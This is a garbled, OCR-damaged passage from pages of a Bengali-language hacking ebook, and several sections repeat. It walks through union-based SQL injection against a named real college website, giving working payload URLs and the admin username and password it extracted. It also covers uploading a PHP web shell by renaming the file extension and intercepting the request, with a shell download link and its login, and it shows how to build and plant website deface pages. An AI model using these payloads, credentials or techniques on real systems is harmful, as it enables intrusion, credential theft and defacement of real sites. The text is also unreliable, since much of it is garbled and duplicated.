২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 71: Hacking Bangla eBook

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 72: Hacking Bangla eBook

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 73: Hacking Bangla eBook

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

